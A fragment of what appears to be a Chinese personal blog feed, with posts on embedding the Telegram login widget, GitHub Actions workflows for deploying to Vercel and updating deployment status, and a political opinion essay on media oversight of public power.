        <content type="html"><![CDATA[<p>[TOC]</p><h2 id="注意"><a href="#注意" class="headerlink" title="注意"></a>注意</h2><blockquote><p>一、电报机器人快捷认证登录，登录成功后会返回 昵称，会话ID，和 用户名。<br>二、只能作为验证身份，获取用户部分信息使用。本地退出只能通过清除浏览器cookie中的token，若要完全退出该浏览器认证终端，须在 Telegram 手动终止。</p></blockquote><h2 id="效果（验证）"><a href="#效果（验证）" class="headerlink" title="效果（验证）:"></a>效果（验证）:</h2><p><strong><mark class="hl-label red">按钮区：</mark> </strong></p><script type="text/javascript">  function onTelegramAuth(user) {    alert('Logged in as ' + user.first_name + ' ' + user.last_name + ' (' + user.id + (user.username ? ', @' + user.username : '') + ')');  }</script><div class="tip warning"><p>直接进入当前页面 无 授权登录按钮，须在 科学条件 下，刷新 当前页面 才可看到该 授权登录按钮！！</p></div><script defer src="https://telegram.org/js/telegram-widget.js?22"data-telegram-login="Cecilzhubot"data-size="large"data-radius="20"data-onauth="onTelegramAuth(user)"data-request-access="write"></script><div class="tip success"><p>须在 科学条件 下，才可看到该 授权登录按钮，无需二次刷新页面！！</p></div><style>   iframe {      width: 100%; /* 调整宽度 */      height: 100px; /* 调整高度 */      border: none;      border-radius: 20px;    }</style><iframe src="/posts/telegram-ce-shi/telegram-widget"></iframe><p><strong><mark class="hl-label blue">图示区：</mark> </strong><br>1.登陆前，</p><p><img src="/posts/telegram-ce-shi/telegram-1.webp" alt="telegram-1"></p><p>2.在已登录telegram的设备中，进行第三方登录的确认，</p><p><img src="/posts/telegram-ce-shi/telegram-2.webp" alt="telegram-2"></p><p>3.登陆成功后，</p><p><img src="/posts/telegram-ce-shi/telegram-3.webp" alt="telegram-3"></p><p><img src="/posts/telegram-ce-shi/telegram-4.webp" alt="telegram-4"></p><p>4.退出，须清理对应cookie记录。</p><h2 id="主要代码如下："><a href="#主要代码如下：" class="headerlink" title="主要代码如下："></a>主要代码如下：</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">type</span>=<span class="string">&quot;text/javascript&quot;</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">  <span class="keyword">function</span> <span class="title function_">onTelegramAuth</span>(<span class="params">user</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="title function_">alert</span>(<span class="string">&#x27;Logged in as &#x27;</span> + user.<span class="property">first_name</span> + <span class="string">&#x27; &#x27;</span> + user.<span class="property">last_name</span> + <span class="string">&#x27; (&#x27;</span> + user.<span class="property">id</span> + (user.<span class="property">username</span> ? <span class="string">&#x27;, @&#x27;</span> + user.<span class="property">username</span> : <span class="string">&#x27;&#x27;</span>) + <span class="string">&#x27;)&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">  &#125;</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;telegram-container&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">h1</span>&gt;</span>使用 Telegram 登录<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">async</span> <span class="attr">src</span>=<span class="string">&quot;https://telegram.org/js/telegram-widget.js?22&quot;</span></span></span><br><span class="line"><span class="tag"><span class="attr">data-telegram-login</span>=<span class="string">&quot;Cecilzhubot&quot;</span></span></span><br><span class="line"><span class="tag"><span class="attr">data-size</span>=<span class="string">&quot;large&quot;</span></span></span><br><span class="line"><span class="tag"><span class="attr">data-radius</span>=<span class="string">&quot;20&quot;</span></span></span><br><span class="line"><span class="tag"><span class="attr">data-onauth</span>=<span class="string">&quot;onTelegramAuth(user)&quot;</span></span></span><br><span class="line"><span class="tag"><span class="attr">data-request-access</span>=<span class="string">&quot;write&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> 其它 </category>
          
      </categories>
      
      
    </entry>
    
    
    
    <entry>
      <title>Shell及githubworkflow初探</title>
      <link href="/posts/shell-ji-github-workflow-chu-tan/"/>
      <url>/posts/shell-ji-github-workflow-chu-tan/</url>
      
        <content type="html"><![CDATA[<p>[TOC]</p><p>vercel成功部署后，通过githubAPI 将vercel项目的“预览链接” 赋值给github的environment URL</p><h3 id="效果图"><a href="#效果图" class="headerlink" title="效果图"></a>效果图</h3><p><img src="/posts/shell-ji-github-workflow-chu-tan/1-environment-url.webp" alt="1-environment-url"></p><span id="more"></span><h3 id="一、将github仓库项目部署到vercel"><a href="#一、将github仓库项目部署到vercel" class="headerlink" title="一、将github仓库项目部署到vercel"></a>一、将github仓库项目部署到vercel</h3><p>可指定项目，“–name“字段貌似可简写为“-n“，后可加“vercel项目名”，或“vercel项目ID”</p><p><img src="/posts/shell-ji-github-workflow-chu-tan/2-%E9%83%A8%E7%BD%B2%E5%88%B0Vercel-%E6%8C%87%E5%AE%9A%E9%A1%B9%E7%9B%AE.webp" alt="2-部署到Vercel-指定项目"></p><h3 id="二、得到已关联“vercel项目”的-域名（可选）"><a href="#二、得到已关联“vercel项目”的-域名（可选）" class="headerlink" title="二、得到已关联“vercel项目”的 域名（可选）"></a>二、得到已关联“vercel项目”的 域名（可选）</h3><p>vercel项目名”或“vercel项目ID”,请求vercelAPI，以获取项目信息，提取域名。</p><p><img src="/posts/shell-ji-github-workflow-chu-tan/3-getVercelProjectInf-GET-domain.webp" alt="3-getVercelProjectInf"></p><h3 id="三、创建“github发布状态”"><a href="#三、创建“github发布状态”" class="headerlink" title="三、创建“github发布状态”"></a>三、创建“github发布状态”</h3><p>请求githubAPI，“<a href="https://api.github.com/repos/$">https://api.github.com/repos/$</a>&#x2F;deployments“，会返回此次github提交的“github发布ID”，保存。</p><p><img src="/posts/shell-ji-github-workflow-chu-tan/4-%E5%88%9B%E5%BB%BAgithub%E5%8F%91%E5%B8%83%E7%8A%B6%E6%80%81-%E5%BE%97%E5%88%B0github%E5%8F%91%E5%B8%83ID.webp" alt="4-创建github发布状态-得到github发布ID"></p><h3 id="四、更新“github发布状态”"><a href="#四、更新“github发布状态”" class="headerlink" title="四、更新“github发布状态”"></a>四、更新“github发布状态”</h3><p>使用“github发布ID”，请求githubAPI，将vercel平台提供的已部署vercel项目的“预览链接”赋值给github的environment URL</p><p><img src="/posts/shell-ji-github-workflow-chu-tan/5-%E6%A0%B9%E6%8D%AE%E8%AF%A5github%E5%8F%91%E5%B8%83ID%E6%9B%B4%E6%96%B0%E5%8F%91%E5%B8%83%E7%8A%B6%E6%80%81.webp" alt="5-根据该github发布ID更新发布状态"></p><h3 id="五、deploy-yml完整代码（含-github仓库secret）："><a href="#五、deploy-yml完整代码（含-github仓库secret）：" class="headerlink" title="五、deploy.yml完整代码（含 github仓库secret）："></a>五、deploy.yml完整代码（含 github仓库secret）：</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br></pre></td><td class="code"><pre><span class="line">name: Deploy to Vercel</span><br><span class="line"></span><br><span class="line">on:</span><br><span class="line">  push:</span><br><span class="line">    branches:</span><br><span class="line">      - master</span><br><span class="line"></span><br><span class="line">jobs:</span><br><span class="line">  deploy:</span><br><span class="line">    runs-on: ubuntu-latest</span><br><span class="line">    </span><br><span class="line">    steps:</span><br><span class="line">      - name: Checkout repository</span><br><span class="line">        uses: actions/checkout@v2</span><br><span class="line">    </span><br><span class="line">      - name: Install Vercel CLI</span><br><span class="line">        run: npm install -g vercel</span><br><span class="line">    </span><br><span class="line">      - name: Deploy to Vercel And Get Deployment URL</span><br><span class="line">        id: get-url</span><br><span class="line">        env:</span><br><span class="line">          VERCEL_TOKEN: $&#123;&#123; secrets.VERCEL_TOKEN &#125;&#125;</span><br><span class="line">        run: |</span><br><span class="line">          # 或不使用&quot;--name&quot;或&quot;-n&quot;指定部署到vercel中已存在的某个项目，而是默认使用git仓库名作为vercel项目名</span><br><span class="line">          # vercel --prod --token $&#123;&#123; secrets.VERCEL_TOKEN &#125;&#125; --yes</span><br><span class="line">          vercel --prod --token $&#123;&#123; secrets.VERCEL_TOKEN &#125;&#125; --yes --name $&#123;&#123;secrets.VERCEL_PROJECT_EAMON_ID&#125;&#125;</span><br><span class="line">          DEPLOYMENT_URL=$(vercel --token $&#123;&#123; secrets.VERCEL_TOKEN &#125;&#125; ls --prod | grep -o &#x27;https://[^ ]*&#x27; | head -n 1)</span><br><span class="line">          </span><br><span class="line">          # 1.可设置为 环境变量，在其他步骤使用</span><br><span class="line">          echo &quot;DEPLOYMENT_URL=$&#123;DEPLOYMENT_URL&#125;&quot; &gt;&gt; $GITHUB_ENV</span><br><span class="line">          # 2.将 $DEPLOYMENT_URL 的值 赋值给当前作业的 输出变量 DEPLOYMENT_URL，在其他步骤以“steps.get-url.outputs.DEPLOYMENT_URL“形式引用（即将废弃）</span><br><span class="line">          # echo &quot;::set-output name=DEPLOYMENT_URL::$DEPLOYMENT_URL&quot;</span><br><span class="line">          # 3.也可写入txt，在其他步骤使用（查看所有 环境变量，找到 环境变量DEPLOYMENT_URL的键值对，取其值，保存为txt文本 ）</span><br><span class="line">          cat $GITHUB_ENV | grep DEPLOYMENT_URL | cut -d&#x27;=&#x27; -f2 &gt; DEPLOYMENT_URL.txt</span><br><span class="line">          </span><br><span class="line">          a=$(cat DEPLOYMENT_URL.txt) # 赋值表达式“=“两边 不能有空格</span><br><span class="line">          echo $a</span><br><span class="line">          # 打印变量（含 环境变量）的 3种 方式：echo &quot;我是$a&quot;、echo &quot;我是$&#123;a&#125;&quot;、echo $a</span><br><span class="line">    </span><br><span class="line">      - name: Get Vercel Project Info</span><br><span class="line">        env:</span><br><span class="line">          VERCEL_TOKEN: $&#123;&#123; secrets.VERCEL_TOKEN &#125;&#125;</span><br><span class="line">        run: |</span><br><span class="line">         curl -s -H &quot;Authorization: Bearer $VERCEL_TOKEN&quot; https://api.vercel.com/v6/projects/$&#123;&#123;secrets.VERCEL_PROJECT_EAMON_ID&#125;&#125; &gt; vercel_project.json</span><br><span class="line">         cat vercel_project.json</span><br><span class="line">    </span><br><span class="line">      - name: Extract Custom Domain</span><br><span class="line">        run: |</span><br><span class="line">          # 提取 domain</span><br><span class="line">          DOMAIN=$(cat vercel_project.json | jq -r &#x27;.alias[0].domain // empty&#x27;)</span><br><span class="line">          echo &quot;Custom Domain: $DOMAIN&quot;</span><br><span class="line">          echo &quot;CUSTOM_DOMAIN=$&#123;DOMAIN&#125;&quot; &gt;&gt; $GITHUB_ENV</span><br><span class="line">          </span><br><span class="line">          # 若vercel平台待部署项目 未关联域名，则使用 DEPLOYMENT_URL作为environment_url【须以https开头】</span><br><span class="line">          if [ -z &quot;$DOMAIN&quot; ]; then</span><br><span class="line">            CUSTOM_DOMAIN=$DEPLOYMENT_URL</span><br><span class="line">          fi</span><br><span class="line">        </span><br><span class="line">      - name: Create deployment status on GitHub</span><br><span class="line">        env:</span><br><span class="line">          GITHUB_TOKEN: $&#123;&#123; secrets.GITHUB_TOKEN &#125;&#125;</span><br><span class="line">        run: |</span><br><span class="line">          curl -X POST \</span><br><span class="line">            -H &quot;Authorization: token $GITHUB_TOKEN&quot; \</span><br><span class="line">            -H &quot;Accept: application/vnd.github.v3+json&quot; \</span><br><span class="line">            https://api.github.com/repos/$&#123;&#123; github.repository &#125;&#125;/deployments \</span><br><span class="line">            -d &#x27;&#123;</span><br><span class="line">                  &quot;ref&quot;: &quot;master&quot;,</span><br><span class="line">                  &quot;environment&quot;: &quot;vercel-prod&quot;,</span><br><span class="line">                  &quot;description&quot;: &quot;Deployment to Vercel&quot;,</span><br><span class="line">                  &quot;auto_merge&quot;: false,</span><br><span class="line">                  &quot;required_contexts&quot;: [],</span><br><span class="line">                  &quot;payload&quot;: &#123;&#125;,</span><br><span class="line">                  &quot;transient_environment&quot;: false,</span><br><span class="line">                  &quot;production_environment&quot;: true</span><br><span class="line">                &#125;&#x27; | jq -r &#x27;.id&#x27; &gt; deployment_id.txt</span><br><span class="line">    </span><br><span class="line">                  # txt形式，不同步骤之间传递值</span><br><span class="line">                  DEPLOYMENT_ID=$(cat deployment_id.txt)</span><br><span class="line">                  # 或 环境变量 形式，不同步骤之间传递值</span><br><span class="line">                  echo &quot;DEPLOYMENT_ID=$&#123;DEPLOYMENT_ID&#125;&quot; &gt;&gt; $GITHUB_ENV</span><br><span class="line">          </span><br><span class="line">      - name: Update deployment status</span><br><span class="line">        env:</span><br><span class="line">          GITHUB_TOKEN: $&#123;&#123; secrets.GITHUB_TOKEN &#125;&#125;</span><br><span class="line">        run: |</span><br><span class="line">          DEPLOYMENT_URL=$(cat DEPLOYMENT_URL.txt)</span><br><span class="line">          DEPLOYMENT_ID=$(cat deployment_id.txt)</span><br><span class="line">          # 或 环境变量 DEPLOYMENT_ID=$&#123;&#123;env.DEPLOYMENT_ID&#125;&#125;</span><br><span class="line">          curl -X POST \</span><br><span class="line">            -H &quot;Authorization: token $GITHUB_TOKEN&quot; \</span><br><span class="line">            -H &quot;Accept: application/vnd.github.v3+json&quot; \</span><br><span class="line">            https://api.github.com/repos/$&#123;&#123; github.repository &#125;&#125;/deployments/$&#123;DEPLOYMENT_ID&#125;/statuses \</span><br><span class="line">            -d &#x27;&#123;</span><br><span class="line">                  &quot;state&quot;: &quot;success&quot;,</span><br><span class="line">                  &quot;description&quot;: &quot;Deployment to Vercel successful&quot;,</span><br><span class="line">                  &quot;auto_inactive&quot;: true,</span><br><span class="line">                  &quot;log_url&quot;: &quot;&#x27;$&#123;DEPLOYMENT_URL&#125;&#x27;&quot;,</span><br><span class="line">                  &quot;environment_url&quot;: &quot;&#x27;https://$CUSTOM_DOMAIN&#x27;&quot;</span><br><span class="line">                &#125;&#x27;</span><br></pre></td></tr></table></figure><h3 id="六、注意事项"><a href="#六、注意事项" class="headerlink" title="六、注意事项"></a>六、注意事项</h3><p>“jobs输出变量”、“环境变量”在json中的不同书写方式，注意“引号”。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">job输出变量 书写</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash"><span class="string">&quot;environment_url&quot;</span>: <span class="string">&quot;&#x27;<span class="variable">$&#123;&#123;steps.get-url.outputs.DEPLOYMENT_URL&#125;</span>&#125;&#x27;&quot;</span></span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">环境变量 书写</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash"><span class="string">&quot;log_url&quot;</span>: <span class="string">&quot;&#x27;&quot;</span><span class="variable">$&#123;&#123; env.DEPLOYMENT_URL &#125;</span>&#125;<span class="string">&quot;&#x27;&quot;</span>,</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash"><span class="string">&quot;environment_url&quot;</span>: <span class="string">&quot;&#x27;<span class="variable">$&#123; DEPLOYMENT_URL &#125;</span>&#x27;&quot;</span></span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash"><span class="string">&quot;environment_url&quot;</span>: <span class="string">&quot;&#x27;<span class="variable">$DEPLOYMENT_URL</span>&#x27;&quot;</span></span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> vercel </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Vercel部署方式</title>
      <link href="/posts/vercel-bu-shu-fang-shi-tan-tao/"/>
      <url>/posts/vercel-bu-shu-fang-shi-tan-tao/</url>
      
        <content type="html"><![CDATA[<p>[TOC]</p><span id="more"></span><h4 id="一、本地vercel-cli手动部署"><a href="#一、本地vercel-cli手动部署" class="headerlink" title="一、本地vercel-cli手动部署"></a>一、本地vercel-cli手动部署</h4><p>在本地npm安装vercel-cli插件，cd 到本地项目目录；<br>选取第三方账号等方式，远程登录vercel，选择 待发布的 vercel项目名；<br>发布项目到 预览环境，或<code>vercel --prod</code>生产环境，成功后会输出 预览链接。</p><h4 id="二、vercel面板-直接部署"><a href="#二、vercel面板-直接部署" class="headerlink" title="二、vercel面板 直接部署"></a>二、vercel面板 直接部署</h4><p>登录vercel面板，导入github仓库，直接发布。<br>只要不断开vercel与git仓库的链接，git仓库有新推送，vercel便会同步部署。</p><p><img src="/posts/vercel-bu-shu-fang-shi-tan-tao/vercel-git.webp" alt="vercel-git"></p><h4 id="三、github-actions-VERCEL-TOKEN"><a href="#三、github-actions-VERCEL-TOKEN" class="headerlink" title="三、github actions + VERCEL_TOKEN"></a>三、github actions + VERCEL_TOKEN</h4><p>登录vercel面板，新建一个token，并存入到github仓库中的“仓库secret”处，取名为VERCEL_TOKEN；<br>新建work actions，在<code>.github/workflows/deploy.yml</code>中利用$自主地 部署项目到 vercel平台。</p><p>解释：部署到生产命令<code>vercel --prod</code>结束后会输出一段信息，进而通过<code>| grep -o</code>过滤出这段信息中的“预览链接”，而变量<code>DEPLOYMENT_URL</code>会通过<code>$()</code>接收这个链接字符串。之后保存到deployment_output.txt中。</p>   <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">name: Deploy to Vercel</span><br><span class="line">on:</span><br><span class="line">  push:</span><br><span class="line">    branches:</span><br><span class="line">      - master  # 当推送到 master 分支时触发</span><br><span class="line">jobs:</span><br><span class="line">  deploy:</span><br><span class="line">    runs-on: ubuntu-latest</span><br><span class="line">    environment: vercel-prod  # 设置环境为 vercel    </span><br><span class="line">    steps:</span><br><span class="line">      - name: Checkout repository</span><br><span class="line">        uses: actions/checkout@v2</span><br><span class="line"></span><br><span class="line">      - name: Install Vercel CLI</span><br><span class="line">        run: npm install -g vercel</span><br><span class="line"></span><br><span class="line">      - name: Deploy to Vercel</span><br><span class="line">        env:</span><br><span class="line">          VERCEL_TOKEN: $&#123;&#123; secrets.VERCEL_TOKEN &#125;&#125;</span><br><span class="line">        run: |</span><br><span class="line">          # 执行一次部署，并从部署成功的输出日志中，提取当前的 部署成功url</span><br><span class="line">          DEPLOYMENT_URL=$(vercel --prod --token $&#123;&#123; secrets.VERCEL_TOKEN &#125;&#125; --yes | grep -o &#x27;https://[a-zA-Z0-9./?=_-]*&#x27;)</span><br><span class="line">          # 或 从所有生产部署的输出日志中，查找到所有的 部署成功url，获取最新的url</span><br><span class="line">          # DEPLOYMENT_URL=$(vercel --token $&#123;&#123; secrets.VERCEL_TOKEN &#125;&#125; ls --prod | grep -o &#x27;https://[^ ]*&#x27; | head -n 1)</span><br><span class="line">          echo $DEPLOYMENT_URL &gt; deployment_output.txt</span><br><span class="line">        id: deploy</span><br><span class="line"></span><br><span class="line">      - name: Output Deployment URL</span><br><span class="line">        run: cat deployment_output.txt</span><br><span class="line">        if: success()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="四、github-actions触发vercel-hook"><a href="#四、github-actions触发vercel-hook" class="headerlink" title="四、github actions触发vercel-hook"></a>四、github actions触发vercel-hook</h4><p>登录vercel面板，申请一个直接交给github actions的执行的，用于vercel部署的hook钩子；<br>将该hook钩子存入到github仓库中的“仓库secret”处，取名为VERCEL_DEPLOY_HOOK；只要githubAction中触发该hook即可强制部署：</p>   <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">- name: Trigger Vercel Deploy Hook</span><br><span class="line">        run: curl -X POST $&#123;&#123; secrets.VERCEL_DEPLOY_HOOK &#125;&#125;</span><br></pre></td></tr></table></figure><p>   <img src="/posts/vercel-bu-shu-fang-shi-tan-tao/vercel-git-hook.webp" alt="vercel-git-hook"></p><p>另外，可结合vercel中的<code>PROJECT_ID</code>和<code>VERCEL_TOKEN</code>,访问接口<code>https://api.vercel.com/v6/deployments?projectId=YOUR_PROJECT_ID</code>，获取最近的部署信息，进一步获取部署成功的 项目链接：</p>   <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">- name: Get Deployment URL</span><br><span class="line">        run: |</span><br><span class="line">          sleep 10  # 等待部署完成</span><br><span class="line">          DEPLOYMENT_URL=$(curl -s &quot;https://api.vercel.com/v6/deployments?projectId=YOUR_PROJECT_ID&quot; \</span><br><span class="line">            -H &quot;Authorization: Bearer $&#123;&#123; secrets.VERCEL_TOKEN &#125;&#125;&quot; \</span><br><span class="line">            | jq -r &#x27;.deployments[0].url&#x27;)</span><br><span class="line">          echo &quot;Deployment URL: $DEPLOYMENT_URL&quot;</span><br></pre></td></tr></table></figure><p>完整版：</p>   <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">name: Deploy to Vercel</span><br><span class="line"></span><br><span class="line">on:</span><br><span class="line">  push:</span><br><span class="line">    branches:</span><br><span class="line">      - master  # 当推送到 master 分支时触发</span><br><span class="line"></span><br><span class="line">jobs:</span><br><span class="line">  deploy:</span><br><span class="line">    runs-on: ubuntu-latest</span><br><span class="line">environment: vercel-prod</span><br><span class="line">    steps:</span><br><span class="line">      - name: Checkout repository</span><br><span class="line">        uses: actions/checkout@v2</span><br><span class="line"></span><br><span class="line">      - name: Trigger Vercel Deploy Hook</span><br><span class="line">        run: curl -X POST $&#123;&#123; secrets.VERCEL_DEPLOY_HOOK &#125;&#125;</span><br><span class="line"></span><br><span class="line">      - name: Get Deployment URL</span><br><span class="line">        run: |</span><br><span class="line">          sleep 10  # 等待部署完成</span><br><span class="line">          DEPLOYMENT_URL=$(curl -s &quot;https://api.vercel.com/v6/deployments?projectId=YOUR_PROJECT_ID&quot; \</span><br><span class="line">            -H &quot;Authorization: Bearer $&#123;&#123; secrets.VERCEL_TOKEN &#125;&#125;&quot; \</span><br><span class="line">            | jq -r &#x27;.deployments[0].url&#x27;)</span><br><span class="line">          echo &quot;Deployment URL: $DEPLOYMENT_URL&quot;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>输出日志：</p><p> <img src="/posts/vercel-bu-shu-fang-shi-tan-tao/vercel-hook.webp" alt="vercel-hook"></p><h4 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h4><blockquote><p>除了第一种 <code>本地vercel-cli</code>，其他（vercel Deployment Hook，github action）方式，只要git远程仓库有新推送，便自动部署项目到 vercel平台；当在主支推送时，默认部署至vercel生产环境。</p></blockquote>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> vercel </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>公权力的牢笼</title>
      <link href="/posts/gong-quan-li-de-lao-long/"/>
      <url>/posts/gong-quan-li-de-lao-long/</url>
      
        <content type="html"><![CDATA[<p>媒体可以不忘初心且负责地行使<code>监督权</code>，也可以沉沦为权力斗争、甚至颠覆政府的工具。</p><p>人民的<code>监督权</code>与政府<code>公权力</code>本就是此消彼长，<code>缺乏信任</code>的关系。</p><p>人民有人权和知情权，记者探究事实并公布于众并没错。政府为了社会稳定，不动摇执政根基，一致口径掩盖工作失误甚至官员丑闻也能理解。</p><p>单靠<code>领导自觉</code>是不靠谱的，人也是会变的。若遇见智者，一直走正确的路还好。倘若遇见“川建国”之流，伤人不利己的事情一个不落，人民就等着咽下苦果。而将公权力关进<code>制度的笼子</code>，建立行之有效的监督制度，就是政治体制改革需要努力的方向。即便迫于社会稳定等客观条件的压力暂时做不到，只要能”准确且及时地下情上达、矢志不渝地遏制腐败……..”，政权还是能<code>保鲜</code>的。</p><p>“改善人民生活，提升人均教育水平”仍是现阶段的首要任务。也许有朝一日，人民生活富足，辨得清某些自媒体的“带风向”之论，这一问题自然会得以解决。我对此有信心，可以保持关注，多给点耐心。</p><div class="note info icon flat"><p>吐槽：</p></div><div class="tip home"><ol><li>美国的<code>三权分立</code>理想很丰满，华尔街的聪明人眼看着“川建国”胡搞，能拦住他也不容易吧？</li><li>西媒 冷处理<code>棱镜门、日本排污、北溪管道被炸......</code>，双标<code>暴力抗议</code>，却常年不遗余力地<code>抹黑造谣</code>中国，这些自由媒体的职业操守呢？</li><li>民主化的台湾作为<code>民主标杆</code>，政论产业发达，人民政治生活丰富。台湾人民和媒体无时无刻不在“监督”政府，质询官员时骂得<code>热闹非凡</code>。重点是，骂来骂去，最后问题解决了吗？<code>绿媒</code>更是沦为<code>抹黑造谣</code>的政治工具，靠他们监督政府？</li></ol></div><p>李光耀 曾说：<mark class="hl-label red">“发展中国家若过早地追求西式民主化，只会给国家发展带来阻碍”</mark> ，我深以为然。</p><p>华夏大地上，“分久必合，合久必分”的历史循环一再上演。无论新朝首任再怎么雄才伟略、知人善任，只要后世<code>松懈了、腐败了、不顾生民......</code>，走投无路的人民自然会<code>改弦更张</code>！执政者希望<code>国祚</code>多久，无非是<code>自我改革</code>和<code>被革命</code>之间做取舍。</p>]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 政治 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>骗子柴林吾</title>
      <link href="/posts/pian-zi-chai-lin-wu/"/>
      <url>/posts/pian-zi-chai-lin-wu/</url>
      
